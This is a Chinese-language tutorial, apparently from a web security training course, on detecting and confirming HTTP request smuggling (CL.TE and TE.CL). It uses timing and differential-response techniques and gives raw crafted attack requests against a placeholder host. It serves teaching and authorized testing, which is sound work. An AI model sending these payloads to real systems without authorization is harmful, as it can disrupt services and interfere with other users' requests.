# 查找HTTP请求走私漏洞

在本节中，我们将介绍用于发现HTTP请求走私漏洞的不同技术。

## 使用计时技术发现HTTP请求走私漏洞

检测HTTP请求走私漏洞通用最有效的方法是发送请求，如果存在漏洞，应用程序的响应会出现时间延迟。这种技术被Burp Scanner用于自动检测请求走私漏洞。

### **使用计时技术发现CL.TE漏洞**

如果一个应用程序易受到CL.TE类型请求走私的攻击，那么发送如下请求通常会导致时间延迟：

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
```

由于前端服务器使用`Content-Length`标头，因此它只会转发此请求的一部分，省略`X`。后端服务器使用`Transfer-Encoding`标头，处理第一个分块，然后等待下一个分块的到来。这将导致一个可观察到的时间延迟。

### **使用计时技术发现TE.CL漏洞**

如果一个应用程序易受到TE.CL类型请求走私的攻击，那么发送如下请求往往会导致时间延迟：

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X
```

由于前端服务器使用`Transfer-Encoding`标头，因此它只会转发此请求的一部分，省略`X`。后端服务器使用`Content-Length`标头，期望在消息正文中有更多内容，并等待剩余内容的到来。这将导致一个可观察到的时间延迟。

> **注意**
>
> 如果应用程序易受CL.TE类型漏洞的攻击，基于时间的TE.CL漏洞测试将有可能干扰其他应用程序用户。因此，为了隐蔽和减少干扰，应该先使用CL.TE测试，只有在第一个测试不成功时才继续进行TE.CL测试。

## 使用差异响应确认HTTP请求走私漏洞

在检测到一个可能的请求走私漏洞后，你可以通过利用它来触发应用程序响应内容的差异，从而获得关于该漏洞的进一步证据。这涉及到向应用程序快速连续地发送两个请求：

* 一个“攻击”请求，旨在干扰下一个请求的处理。
* 一个“正常”请求。

如果正常请求的响应包含预期的干扰，那么就证实了该漏洞。

例如，假设正常请求如下所示：

```http
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
```

这个请求通常会收到一个状态码为200的HTTP响应，其中包含一些搜索结果。

干扰该请求所需的攻击请求取决于存在的请求走私类型：CL.TE与TE.CL。

### **使用差异响应确认CL.TE漏洞**

要确认CL.TE漏洞，你需要发送这样的攻击请求：

```http
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x
```

如果攻击成功，那么后端服务器将此请求的最后两行视为属于收到的下一个请求。这将使随后的“正常”请求看起来像这样：

```http
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
```

由于此请求现在包含一个无效的URL，服务器将以404状态码进行响应，表明攻击请求确实对其造成了干扰。

> **LAB**
>
> [HTTP请求走私，通过差异响应确认CL.TE漏洞](https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses)

### **使用差异响应确认TE.CL漏洞**

要确认TE.CL漏洞，你需要发送这样的攻击请求：

```http
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0
```

> **注意**
>
> 要使用Burp Repeater发送此请求，你首先需要转到Repeater菜单，确保取消选中“Update Content-Length”选项。
>
> 需要在最后一个`0`之后包含尾随序列`\r\n\r`。

如果攻击成功，那么从`GET /404`开始的所有内容都将被后端服务器视为属于收到的下一个请求。这将使随后的“正常”请求看起来像这样：

```http
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
```

由于此请求现在包含一个无效的URL，服务器将以状态码404进行响应，表明攻击请求确实对其造成了干扰。

> **LAB**
>
> [HTTP请求走私，通过差异响应确认TE.CL漏洞](https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses)

> **注意**
>
> 在尝试通过干扰其他请求来确认请求走私漏洞时，应注意以下几点：
>
> * “攻击”请求和“正常”请求应使用不同的网络连接发送到服务器。通过相同的连接发送这两个请求并不能证明漏洞存在。
> * “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名称。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数可以增加请求被同一个后端服务器处理的机会，这对于攻击的成功是至关重要的。
> * 在测试“正常”请求以检测“攻击”请求的任何干扰时，你需要与应用程序同时接收的其他请求（包括其他用户的请求）进行竞争。你应该在“攻击”请求之后立即发送“正常”请求。如果应用程序繁忙，你可能需要进行多次尝试以确认漏洞。
> * 在某些应用程序中，前端服务器充当负载均衡的作用，并根据某种负载均衡算法将请求转发到不同的后端系统。如果你的“攻击”和“正常”请求被转发到不同的后端系统，那么攻击将会失败。这是在确认漏洞之前需要尝试多次的另一个原因。
> * 如果你的攻击成功干扰了后续请求，但这不是你发送的用于检测干扰的“正常”请求，那么这意味着你的攻击影响了另一个应用程序用户。如果继续执行测试，可能会对其他用户产生破坏性影响，你应该谨慎行事。

> **阅读更多**
>
> [利用HTTP请求走私漏洞](https://web-sec.gitbook.io/wsa/advanced/request-smuggling/exploiting)